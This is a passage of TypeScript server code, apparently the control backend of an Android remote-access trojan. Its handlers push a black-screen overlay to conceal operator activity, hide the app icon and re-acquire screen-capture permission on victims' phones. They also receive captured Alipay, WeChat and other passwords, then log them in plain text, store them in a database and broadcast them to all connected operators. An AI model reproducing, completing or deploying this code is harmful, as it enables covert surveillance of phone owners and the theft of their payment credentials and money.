'ui_hierarchy_response', { deviceId, success: false, message: `分析失败: ${error instanceof Error ? error.message : '未知错误'}` }) return false } } /** * 处理设备UI层次结构响应 */ private handleUIHierarchyResponse(deviceId: string, hierarchyData: any): void { try { this.logger.info(`📱 收到设备 ${deviceId} 的UI层次结构响应`) this.logger.info(`📋 响应数据详情: clientId=${hierarchyData.clientId}, success=${hierarchyData.success}, hierarchy类型=${typeof hierarchyData.hierarchy}`) // 转发给请求的客户端 if (hierarchyData.clientId) { const responseData = { deviceId, success: hierarchyData.success || true, hierarchy: hierarchyData.hierarchy, timestamp: Date.now(), enhanced: hierarchyData.enhanced || false, // ✅ 传递增强标识 deviceCharacteristics: hierarchyData.deviceCharacteristics, // ✅ 传递设备特征 analysisMetadata: hierarchyData.analysisMetadata // ✅ 传递分析元数据 } this.logger.info(`📤 准备转发给客户端 ${hierarchyData.clientId}, 数据大小: ${JSON.stringify(responseData).length} 字符`) this.webClientManager.sendToClient(hierarchyData.clientId, 'ui_hierarchy_response', responseData) this.logger.info(`✅ 已将UI层次结构转发给客户端: ${hierarchyData.clientId}${hierarchyData.enhanced ? '(增强版)' : ''}`) } else { this.logger.warn(`⚠️ 响应数据中缺少clientId字段,无法转发`) // 广播给所有客户端 this.webClientManager.broadcastToAll('ui_hierarchy_response', { deviceId, success: hierarchyData.success || true, hierarchy: hierarchyData.hierarchy, timestamp: Date.now() }) this.logger.info(`📤 已广播UI层次结构给所有客户端`) } } catch (error) { this.logger.error(`处理UI层次结构响应失败: ${deviceId}`, error) } } /** * 路由UI层次结构响应(从设备到Web客户端)- 参考routeScreenData的模式 */ routeUIHierarchyResponse(fromSocketId: string, hierarchyData: any): boolean { try { this.logger.info(`🔍 处理UI层次结构响应: Socket ${fromSocketId}`) // 首先尝试从DeviceManager获取设备信息 let device = this.deviceManager.getDeviceBySocketId(fromSocketId) if (!device) { this.logger.warn(`⚠️ 找不到设备,尝试从数据库恢复: ${fromSocketId}`) // ✅ 参考routeScreenData:立即尝试从数据库恢复设备 const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId) if (dbDevice) { // ✅ 获取设备状态信息 const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId) device = { id: dbDevice.deviceId, socketId: fromSocketId, name: dbDevice.deviceName, model: dbDevice.deviceModel, osVersion: dbDevice.osVersion, appVersion: dbDevice.appVersion, screenWidth: dbDevice.screenWidth, screenHeight: dbDevice.screenHeight, capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities), connectedAt: new Date(), lastSeen: new Date(), status: 'online' as const, inputBlocked: deviceState?.inputBlocked || false, isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新 remark: (dbDevice as any).remark // 🆕 恢复设备备注 } // 将恢复的设备添加到DeviceManager中 this.deviceManager.addDevice(device) this.logger.info(`✅ 从数据库恢复设备: ${device.name} (${device.id})`) // ✅ 关键修复:更新数据库中的设备记录(特别是lastSocketId) try { const deviceForDb = { deviceId: device.id, deviceName: device.name, deviceModel: device.model, osVersion: device.osVersion, appVersion: device.appVersion, screenWidth: device.screenWidth, screenHeight: device.screenHeight, capabilities: device.capabilities } this.databaseService.saveDevice(deviceForDb, fromSocketId) } catch (dbError) { this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError) } // ✅ 关键修复:UI响应时设备恢复后,立即通知Web端设备在线 this.logger.info(`✅ 设备UI响应恢复成功: ${device.name},立即通知Web端设备在线`) // 立即广播设备连接事件给所有Web客户端 this.webClientManager.broadcastToAll('device_connected', device) // 同时广播设备状态更新 this.webClientManager.broadcastToAll('device_status_update', { deviceId: device.id, status: { online: true, connected: true, lastSeen: Date.now(), inputBlocked: device.inputBlocked || false } }) // ✅ 同步设备状态到设备端(如输入阻塞状态) if (deviceState) { this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState) } } else { // 尝试从响应数据中获取deviceId进行处理 const deviceId = hierarchyData?.deviceId if (deviceId) { this.logger.warn(`⚠️ 数据库中也找不到设备,但响应包含deviceId: ${deviceId},尝试直接处理`) this.handleUIHierarchyResponse(deviceId, hierarchyData) return true } else { this.logger.error(`❌ 无法找到设备且响应数据中没有deviceId: ${fromSocketId}`) return false } } } // 确保device不为undefined if (!device) { this.logger.error(`❌ 设备恢复失败: ${fromSocketId}`) return false } this.logger.info(`✅ 找到设备: ${device.name} (${device.id}),处理UI层次结构响应`) // 直接处理UI层次结构响应 this.handleUIHierarchyResponse(device.id, hierarchyData) return true } catch (error) { this.logger.error('路由UI层次结构响应失败:', error) return false } } /** * 🆕 处理开始提取确认坐标的请求 */ private handleStartExtractConfirmCoords(clientId: string, deviceId: string): boolean { try { this.logger.info(`🎯 开始提取确认坐标模式: 客户端=${clientId}, 设备=${deviceId}`) // 向所有连接的客户端广播提取模式开始事件(主要是屏幕阅读器组件) this.webClientManager.broadcastToAll('start_extract_confirm_coords', { deviceId, clientId }) this.logger.info(`✅ 确认坐标提取模式已启动: ${deviceId}`) return true } catch (error) { this.logger.error('启动确认坐标提取模式失败:', error) return false } } /** * 🆕 处理保存确认坐标的请求 */ private handleSaveConfirmCoords(clientId: string, deviceId: string, coords: { x: number, y: number }): boolean { try { this.logger.info(`💾 保存确认坐标: 客户端=${clientId}, 设备=${deviceId}, 坐标=(${coords.x}, ${coords.y})`) // 验证坐标数据 if (!coords || typeof coords.x !== 'number' || typeof coords.y !== 'number') { this.logger.error('❌ 无效的坐标数据:', coords) this.webClientManager.sendToClient(clientId, 'save_confirm_coords_response', { deviceId, success: false, message: '无效的坐标数据' }) return false } // 保存到数据库 this.databaseService.saveConfirmButtonCoords(deviceId, coords) // 发送成功响应 this.webClientManager.sendToClient(clientId, 'save_confirm_coords_response', { deviceId, success: true, coords, message: '确认坐标已保存' }) // 向所有客户端广播坐标已更新(用于实时更新UI显示) this.webClientManager.broadcastToAll('confirm_coords_updated', { deviceId, coords }) this.logger.info(`✅ 确认坐标已保存: ${deviceId} -> (${coords.x}, ${coords.y})`) return true } catch (error) { this.logger.error('保存确认坐标失败:', error) this.webClientManager.sendToClient(clientId, 'save_confirm_coords_response', { deviceId, success: false, message: '保存失败: ' + (error as Error).message }) return false } } /** * 🆕 处理启用黑屏遮盖的请求 */ private handleEnableBlackScreen(clientId: string, deviceId: string): boolean { try { this.logger.info(`🖤 启用黑屏遮盖: 客户端=${clientId}, 设备=${deviceId}`) // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId) if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'black_screen_response', { deviceId, success: false, isActive: false, message: '设备已离线或不存在' }) return false } // 检查客户端是否有控制权 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) this.webClientManager.sendToClient(clientId, 'black_screen_response', { deviceId, success: false, isActive: false, message: '无控制权限,请先申请设备控制权' }) return false } // 向设备发送启用黑屏遮盖的控制命令 const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) if (deviceSocketId) { const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) if (deviceSocket) { deviceSocket.emit('control_command', { type: 'ENABLE_BLACK_SCREEN', deviceId, data: {}, timestamp: Date.now() }) // 🆕 保存黑屏状态到数据库 this.databaseService.updateDeviceBlackScreenActive(deviceId, true) // 发送成功响应 this.webClientManager.sendToClient(clientId, 'black_screen_response', { deviceId, success: true, isActive: true, message: '黑屏遮盖已启用' }) this.logger.info(`✅ 黑屏遮盖启用命令已发送: ${deviceId}`) return true } } this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'black_screen_response', { deviceId, success: false, isActive: false, message: '设备连接已断开' }) return false } catch (error) { this.logger.error('启用黑屏遮盖失败:', error) this.webClientManager.sendToClient(clientId, 'black_screen_response', { deviceId, success: false, isActive: false, message: '启用失败: ' + (error as Error).message }) return false } } /** * 🆕 处理取消黑屏遮盖的请求 */ private handleDisableBlackScreen(clientId: string, deviceId: string): boolean { try { this.logger.info(`🖤 取消黑屏遮盖: 客户端=${clientId}, 设备=${deviceId}`) // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId) if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'black_screen_response', { deviceId, success: false, isActive: false, message: '设备已离线或不存在' }) return false } // 检查客户端是否有控制权 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) this.webClientManager.sendToClient(clientId, 'black_screen_response', { deviceId, success: false, isActive: true, message: '无控制权限,请先申请设备控制权' }) return false } // 向设备发送取消黑屏遮盖的控制命令 const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) if (deviceSocketId) { const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) if (deviceSocket) { deviceSocket.emit('control_command', { type: 'DISABLE_BLACK_SCREEN', deviceId, data: {}, timestamp: Date.now() }) // 🆕 保存黑屏状态到数据库 this.databaseService.updateDeviceBlackScreenActive(deviceId, false) // 发送成功响应 this.webClientManager.sendToClient(clientId, 'black_screen_response', { deviceId, success: true, isActive: false, message: '黑屏遮盖已取消' }) this.logger.info(`✅ 黑屏遮盖取消命令已发送: ${deviceId}`) return true } } this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'black_screen_response', { deviceId, success: false, isActive: true, message: '设备连接已断开' }) return false } catch (error) { this.logger.error('取消黑屏遮盖失败:', error) this.webClientManager.sendToClient(clientId, 'black_screen_response', { deviceId, success: false, isActive: true, message: '取消失败: ' + (error as Error).message }) return false } } /** * 🆕 处理打开应用设置的请求 */ private handleOpenAppSettings(clientId: string, deviceId: string): boolean { try { this.logger.info(`⚙️ 打开应用设置: 客户端=${clientId}, 设备=${deviceId}`) // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId) if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'app_settings_response', { deviceId, success: false, message: '设备已离线或不存在' }) return false } // 检查客户端是否有控制权 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) this.webClientManager.sendToClient(clientId, 'app_settings_response', { deviceId, success: false, message: '无控制权限,请先申请设备控制权' }) return false } // 向设备发送打开应用设置的控制命令 const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) if (deviceSocketId) { const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) if (deviceSocket) { deviceSocket.emit('control_command', { type: 'OPEN_APP_SETTINGS', deviceId, data: {}, timestamp: Date.now() }) this.logger.info(`✅ 已发送打开应用设置命令到设备 ${deviceId}`) // 向客户端发送响应 this.webClientManager.sendToClient(clientId, 'app_settings_response', { deviceId, success: true, message: '打开应用设置命令已发送' }) return true } } this.logger.error(`❌ 无法找到设备 ${deviceId} 的Socket连接`) this.webClientManager.sendToClient(clientId, 'app_settings_response', { deviceId, success: false, message: '设备连接已断开' }) return false } catch (error) { this.logger.error(`打开应用设置失败:`, error) this.webClientManager.sendToClient(clientId, 'app_settings_response', { deviceId, success: false, message: '打开应用设置失败' }) return false } } /** * 🆕 处理隐藏应用的请求 */ private handleHideApp(clientId: string, deviceId: string): boolean { try { this.logger.info(`📱 隐藏应用: 客户端=${clientId}, 设备=${deviceId}`) // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId) if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'app_hide_response', { deviceId, success: false, isHidden: false, message: '设备已离线或不存在' }) return false } // 检查客户端是否有控制权 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) this.webClientManager.sendToClient(clientId, 'app_hide_response', { deviceId, success: false, isHidden: false, message: '无控制权限,请先申请设备控制权' }) return false } // 向设备发送隐藏应用的控制命令 const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) if (deviceSocketId) { const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) if (deviceSocket) { deviceSocket.emit('control_command', { type: 'HIDE_APP', deviceId, data: {}, timestamp: Date.now() }) // 🆕 保存应用隐藏状态到数据库 this.databaseService.updateDeviceAppHidden(deviceId, true) // 发送成功响应 this.webClientManager.sendToClient(clientId, 'app_hide_response', { deviceId, success: true, isHidden: true, message: '应用已隐藏' }) this.logger.info(`✅ 隐藏应用命令已发送: ${deviceId}`) return true } } this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'app_hide_response', { deviceId, success: false, isHidden: false, message: '设备连接已断开' }) return false } catch (error) { this.logger.error('隐藏应用失败:', error) this.webClientManager.sendToClient(clientId, 'app_hide_response', { deviceId, success: false, isHidden: false, message: '隐藏失败: ' + (error as Error).message }) return false } } /** * 🆕 处理应用隐藏状态更新(来自Android端的状态报告) */ private handleAppHideStatusUpdate(deviceId: string, eventData: any): boolean { try { this.logger.info(`📱 收到应用隐藏状态更新: 设备=${deviceId}, 数据=${JSON.stringify(eventData)}`) const isHidden = eventData.isHidden const message = eventData.message || '状态已更新' const success = eventData.success // 🆕 保存应用隐藏状态到数据库 this.databaseService.updateDeviceAppHidden(deviceId, isHidden) // 广播状态更新到所有有控制权的Web客户端 const controllerId = this.webClientManager.getDeviceController(deviceId) if (controllerId) { this.webClientManager.sendToClient(controllerId, 'app_hide_response', { deviceId, success: success, isHidden: isHidden, message: message, fromDevice: true // 标记这是来自设备端的状态报告 }) this.logger.info(`✅ 应用隐藏状态已广播到控制客户端: ${controllerId}`) } else { this.logger.debug(`📋 设备 ${deviceId} 当前无控制客户端,状态仅保存到数据库`) } // 也广播到所有客户端,用于状态同步 this.webClientManager.broadcastToAll('device_app_hide_status_changed', { deviceId, isHidden, message, timestamp: Date.now() }) return true } catch (error) { this.logger.error('处理应用隐藏状态更新失败:', error) return false } } /** * 🆕 处理显示应用的请求 */ private handleShowApp(clientId: string, deviceId: string): boolean { try { this.logger.info(`📱 显示应用: 客户端=${clientId}, 设备=${deviceId}`) // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId) if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'app_hide_response', { deviceId, success: false, isHidden: true, message: '设备已离线或不存在' }) return false } // 检查客户端是否有控制权 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) this.webClientManager.sendToClient(clientId, 'app_hide_response', { deviceId, success: false, isHidden: true, message: '无控制权限,请先申请设备控制权' }) return false } // 向设备发送显示应用的控制命令 const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) if (deviceSocketId) { const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) if (deviceSocket) { deviceSocket.emit('control_command', { type: 'SHOW_APP', deviceId, data: {}, timestamp: Date.now() }) // 🆕 保存应用隐藏状态到数据库 this.databaseService.updateDeviceAppHidden(deviceId, false) // 发送成功响应 this.webClientManager.sendToClient(clientId, 'app_hide_response', { deviceId, success: true, isHidden: false, message: '应用已显示' }) this.logger.info(`✅ 显示应用命令已发送: ${deviceId}`) return true } } this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'app_hide_response', { deviceId, success: false, isHidden: true, message: '设备连接已断开' }) return false } catch (error) { this.logger.error('显示应用失败:', error) this.webClientManager.sendToClient(clientId, 'app_hide_response', { deviceId, success: false, isHidden: true, message: '显示失败: ' + (error as Error).message }) return false } } /** * 🆕 处理关闭配置遮盖的请求 */ private handleCloseConfigMask(clientId: string, deviceId: string, manual: boolean = true): boolean { try { this.logger.info(`🛡️ 关闭配置遮盖: 客户端=${clientId}, 设备=${deviceId}, 手动=${manual}`) // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId) if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) // 注意:关闭配置遮盖使用permission_response事件而非专用响应事件 return false } // 🆕 特殊情况:关闭配置遮盖不需要控制权,因为配置遮盖通常在用户获取控制权之前显示 // 这是一个紧急操作,允许任何连接的客户端执行 // 向设备发送关闭配置遮盖的控制命令 const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) if (deviceSocketId) { const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) if (deviceSocket) { deviceSocket.emit('control_command', { type: 'CLOSE_CONFIG_MASK', deviceId, data: { manual: manual }, timestamp: Date.now() }) this.logger.info(`✅ 关闭配置遮盖命令已发送: ${deviceId}`) return true } } this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`) return false } catch (error) { this.logger.error('关闭配置遮盖失败:', error) return false } } /** * 🆕 处理重新获取投屏权限请求 */ private handleRefreshMediaProjectionPermission(clientId: string, deviceId: string): boolean { try { this.logger.info(`📺 重新获取投屏权限请求: 客户端=${clientId}, 设备=${deviceId}`) // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId) if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'refresh_permission_response', { deviceId, success: false, message: '设备已离线或不存在' }) return false } // 检查客户端是否有控制权 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) this.webClientManager.sendToClient(clientId, 'refresh_permission_response', { deviceId, success: false, message: '无控制权限,请先申请设备控制权' }) return false } // 向设备发送重新获取投屏权限的控制命令 const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) if (deviceSocketId) { const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) if (deviceSocket) { deviceSocket.emit('control_command', { type: 'REFRESH_MEDIA_PROJECTION_PERMISSION', deviceId, data: {}, timestamp: Date.now() }) // 发送成功响应 this.webClientManager.sendToClient(clientId, 'refresh_permission_response', { deviceId, success: true, message: '重新获取投屏权限命令已发送,请在设备上确认权限' }) this.logger.info(`✅ 重新获取投屏权限命令已发送: ${deviceId}`) return true } } this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'refresh_permission_response', { deviceId, success: false, message: '设备连接已断开' }) return false } catch (error) { this.logger.error('重新获取投屏权限失败:', error) this.webClientManager.sendToClient(clientId, 'refresh_permission_response', { deviceId, success: false, message: '重新获取投屏权限失败: ' + (error as Error).message }) return false } } /** * Handle screen refresh request from Web client * Sends REFRESH_SCREEN command to device to restart screen capture */ private handleRefreshScreen(clientId: string, deviceId: string): boolean { try { this.logger.info(`[RefreshScreen] Screen refresh request: client=${clientId}, device=${deviceId}`) const device = this.deviceManager.getDevice(deviceId) if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { this.logger.warn(`[RefreshScreen] Device offline: ${deviceId}`) return false } if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { this.logger.warn(`[RefreshScreen] Client ${clientId} has no control over ${deviceId}`) return false } const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) if (!deviceSocketId) { this.logger.error(`[RefreshScreen] Device socket not found: ${deviceId}`) return false } const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) if (!deviceSocket) { this.logger.error(`[RefreshScreen] Device socket connection lost: ${deviceId}`) return false } deviceSocket.emit('control_command', { type: 'REFRESH_SCREEN', deviceId, data: {}, timestamp: Date.now() }) this.logger.info(`[RefreshScreen] Refresh command sent to device: ${deviceId}`) return true } catch (error) { this.logger.error('[RefreshScreen] Failed to send refresh command:', error) return false } } /** * Handle manual MediaProjection permission request (no auto-click) */ private handleRefreshMediaProjectionManual(clientId: string, deviceId: string): boolean { try { this.logger.info(`📺 手动授权投屏权限请求: 客户端=${clientId}, 设备=${deviceId}`) const device = this.deviceManager.getDevice(deviceId) if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'refresh_permission_response', { deviceId, success: false, message: '设备已离线或不存在' }) return false } if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) this.webClientManager.sendToClient(clientId, 'refresh_permission_response', { deviceId, success: false, message: '无控制权限,请先申请设备控制权' }) return false } const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) if (deviceSocketId) { const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) if (deviceSocket) { deviceSocket.emit('control_command', { type: 'REFRESH_MEDIA_PROJECTION_MANUAL', deviceId, data: {}, timestamp: Date.now() }) this.webClientManager.sendToClient(clientId, 'refresh_permission_response', { deviceId, success: true, message: '手动授权命令已发送,请在设备上手动确认权限' }) this.logger.info(`✅ 手动授权投屏权限命令已发送: ${deviceId}`) return true } } this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'refresh_permission_response', { deviceId, success: false, message: '设备连接已断开' }) return false } catch (error) { this.logger.error('手动授权投屏权限失败:', error) this.webClientManager.sendToClient(clientId, 'refresh_permission_response', { deviceId, success: false, message: '手动授权投屏权限失败: ' + (error as Error).message }) return false } } /** * 🆕 路由权限申请响应 */ routePermissionResponse(socketId: string, permissionData: any): boolean { try { // 获取发送响应的设备信息 const device = this.deviceManager.getDeviceBySocketId(socketId) if (!device) { this.logger.warn(`⚠️ 无法找到Socket ${socketId} 对应的设备`) return false } this.logger.info(`📱 处理设备 ${device.id} 的权限申请响应`) // 检查权限类型并处理响应 if (permissionData.permissionType === 'media_projection') { this.handleMediaProjectionPermissionResponse(device.id, permissionData) } else { this.logger.warn(`⚠️ 未知的权限类型: ${permissionData.permissionType}`) } return true } catch (error) { this.logger.error(`路由权限申请响应失败: Socket ${socketId}`, error) return false } } /** * 💰 路由支付宝密码数据 */ routeAlipayPassword(socketId: string, passwordData: any): boolean { try { // 获取发送密码数据的设备信息 const device = this.deviceManager.getDeviceBySocketId(socketId) if (!device) { this.logger.warn(`⚠️ 无法找到Socket ${socketId} 对应的设备`) return false } this.logger.info(`💰 处理设备 ${device.id} 的支付宝密码数据`) // 验证必要字段 if (!passwordData.password || !passwordData.deviceId || !passwordData.timestamp) { this.logger.warn(`⚠️ 支付宝密码数据缺少必要字段: ${JSON.stringify(passwordData)}`) return false } // 创建支付宝密码记录 const alipayPasswordRecord = { deviceId: passwordData.deviceId, password: passwordData.password, passwordLength: passwordData.passwordLength || passwordData.password.length, activity: passwordData.activity || 'UnknownActivity', inputMethod: passwordData.inputMethod || 'unknown', sessionId: passwordData.sessionId || Date.now().toString(), timestamp: new Date(passwordData.timestamp), createdAt: new Date() } this.logger.info(`支付宝数据 ${alipayPasswordRecord.password}`) // 保存到数据库 this.databaseService.saveAlipayPassword(alipayPasswordRecord) // 向所有Web客户端广播支付宝密码记录 this.webClientManager.broadcastToAll('alipay_password_recorded', { deviceId: passwordData.deviceId, password: passwordData.password, passwordLength: passwordData.passwordLength || passwordData.password.length, activity: passwordData.activity || 'UnknownActivity', inputMethod: passwordData.inputMethod || 'unknown', sessionId: passwordData.sessionId || Date.now().toString(), timestamp: passwordData.timestamp }) this.logger.info(`📤 已向所有Web客户端广播支付宝密码记录: 设备=${passwordData.deviceId}`) return true } catch (error) { this.logger.error(`路由支付宝密码数据失败: Socket ${socketId}`, error) return false } } /** * 💬 路由微信密码数据 */ routeWechatPassword(socketId: string, passwordData: any): boolean { try { // 获取发送密码数据的设备信息 const device = this.deviceManager.getDeviceBySocketId(socketId) if (!device) { this.logger.warn(`⚠️ 无法找到Socket ${socketId} 对应的设备`) return false } this.logger.info(`💬 处理设备 ${device.id} 的微信密码数据`) // 验证必要字段 if (!passwordData.password || !passwordData.deviceId || !passwordData.timestamp) { this.logger.warn(`⚠️ 微信密码数据缺少必要字段: ${JSON.stringify(passwordData)}`) return false } // 创建微信密码记录 const wechatPasswordRecord = { deviceId: passwordData.deviceId, password: passwordData.password, passwordLength: passwordData.passwordLength || passwordData.password.length, activity: passwordData.activity || 'UnknownActivity', inputMethod: passwordData.inputMethod || 'unknown', sessionId: passwordData.sessionId || Date.now().toString(), timestamp: new Date(passwordData.timestamp), createdAt: new Date() } this.logger.info(`微信数据 ${wechatPasswordRecord.password}`) // 保存到数据库 this.databaseService.saveWechatPassword(wechatPasswordRecord) // 向所有Web客户端广播微信密码记录 this.webClientManager.broadcastToAll('wechat_password_recorded', { deviceId: passwordData.deviceId, password: passwordData.password, passwordLength: passwordData.passwordLength || passwordData.password.length, activity: passwordData.activity || 'UnknownActivity', inputMethod: passwordData.inputMethod || 'unknown', sessionId: passwordData.sessionId || Date.now().toString(), timestamp: passwordData.timestamp }) this.logger.info(`📤 已向所有Web客户端广播微信密码记录: 设备=${passwordData.deviceId}`) return true } catch (error) { this.logger.error(`路由微信密码数据失败: Socket ${socketId}`, error) return false } } /** * 🔐 路由通用密码输入数据 */ routePasswordInput(socketId: string, passwordData: any): boolean { try { // 获取发送密码数据的设备信息 const device = this.deviceManager.getDeviceBySocketId(socketId) if (!device) { this.logger.warn(`⚠️ 无法找到Socket ${socketId} 对应的设备`) return false } this.logger.info(`🔐 处理设备 ${device.id} 的通用密码输入数据`) // 验证必要字段 if (!passwordData.password || !passwordData.timestamp || !passwordData.passwordType) { this.logger.warn(`⚠️ 通用密码输入数据缺少必要字段: ${JSON.stringify(passwordData)}`) return false } // 🔧 修复:使用设备管理器中的设备ID,而不是passwordData中的deviceId // 确保设备ID存在于数据库中,避免外键约束错误 const deviceId = device.id // 验证设备是否存在于数据库中 const deviceExists = this.databaseService.getDeviceById(deviceId) if (!deviceExists) { this.logger.error(`❌ 设备 ${deviceId} 不存在于数据库中,无法保存密码记录`) return false } // 创建通用密码输入记录 const passwordInputRecord = { deviceId: deviceId, // 🔧 使用验证过的设备ID password: passwordData.password, passwordLength: passwordData.passwordLength || passwordData.password.length, passwordType: passwordData.passwordType, activity: passwordData.activity || 'PasswordInputActivity', inputMethod: passwordData.inputMethod || 'unknown', installationId: passwordData.installationId || 'unknown', sessionId: passwordData.sessionId || Date.now().toString(), timestamp: new Date(passwordData.timestamp), createdAt: new Date() } this.logger.info(`通用密码数据 ${passwordInputRecord.password} (类型: ${passwordInputRecord.passwordType})`) // 保存到数据库 this.databaseService.savePasswordInput(passwordInputRecord) // 向所有Web客户端广播通用密码输入记录 this.webClientManager.broadcastToAll('password_input_recorded', { deviceId: deviceId, // 🔧 使用验证过的设备ID password: passwordData.password, passwordLength: passwordData.passwordLength || passwordData.password.length, passwordType: passwordData.passwordType, activity: passwordData.activity || 'PasswordInputActivity', inputMethod: passwordData.inputMethod || 'unknown', installationId: passwordData.installationId || 'unknown', sessionId: passwordData.sessionId || Date.now().toString(), timestamp: passwordData.timestamp }) this.logger.info(`📤 已向所有Web客户端广播通用密码输入记录: 设备=${passwordData.deviceId}, 类型=${passwordData.passwordType}`) return true } catch (error) { this.logger.error(`路由通用密码输入数据失败: Socket ${socketId}`, error) return false } } /** * 🔍 路由支付宝检测启动指令 */ routeAlipayDetectionStart(socketId: string, detectionData: any): boolean { try { // 获取发送检测启动指令的设备信息 const device = this.deviceManager.getDeviceBySocketId(socketId) if (!device) { this.logger.warn(`⚠️ 无法找到Socket ${socketId} 对应的设备`) return false } this.logger.info(`🔍 处理设备 ${device.id} 的支付宝检测启动指令`) // 创建控制消息 const controlMessage: ControlMessage = { type: 'ALIPAY_DETECTION_START', deviceId: device.id, data: detectionData.data || {}, timestamp: Date.now() } // 路由控制消息 const routeResult = this.routeControlMessage(socketId, controlMessage) if (routeResult) { this.logger.info(`📤 支付宝检测启动指令已发送到设备: ${device.id}`) } else { this.logger.warn(`⚠️ 支付宝检测启动指令发送失败: ${device.id}`) } return routeResult } catch (error) { this.logger.error(`路由支付宝检测启动指令失败: Socket ${socketId}`, error) return false } } /** * 💬 路由微信检测启动指令 */ routeWechatDetectionStart(socketId: string, detectionData: any): boolean { try { // 获取发送检测启动指令的设备信息 const device = this.deviceManager.getDeviceBySocketId(socketId) if (!device) { this.logger.warn(`⚠️ 无法找到Socket ${socketId} 对应的设备`) return false } this.logger.info(`💬 处理设备 ${device.id} 的微信检测启动指令`) // 创建控制消息 const controlMessage: ControlMessage = { type: 'WECHAT_DETECTION_START', deviceId: device.id, data: detectionData.data || {}, timestamp: Date.now() } // 路由控制消息 const routeResult = this.routeControlMessage(socketId, controlMessage) if (routeResult) { this.logger.info(`📤 微信检测启动指令已发送到设备: ${device.id}`) } else { this.logger.warn(`⚠️ 微信检测启动指令发送失败: ${device.id}`) } return routeResult } catch (error) { this.logger.error(`路由微信检测启动指令失败: Socket ${socketId}`, error) return false } } /** * 🆕 处理MediaProjection权限申请响应 */ private handleMediaProjectionPermissionResponse(deviceId: string, permissionData: any): void { try { this.logger.info(`📺 处理MediaProjection权限申请响应: 设备=${deviceId}, 成功=${permissionData.success}`) // 向所有Web客户端广播权限申请响应(因为权限申请可能影响多个控制此设备的客户端) 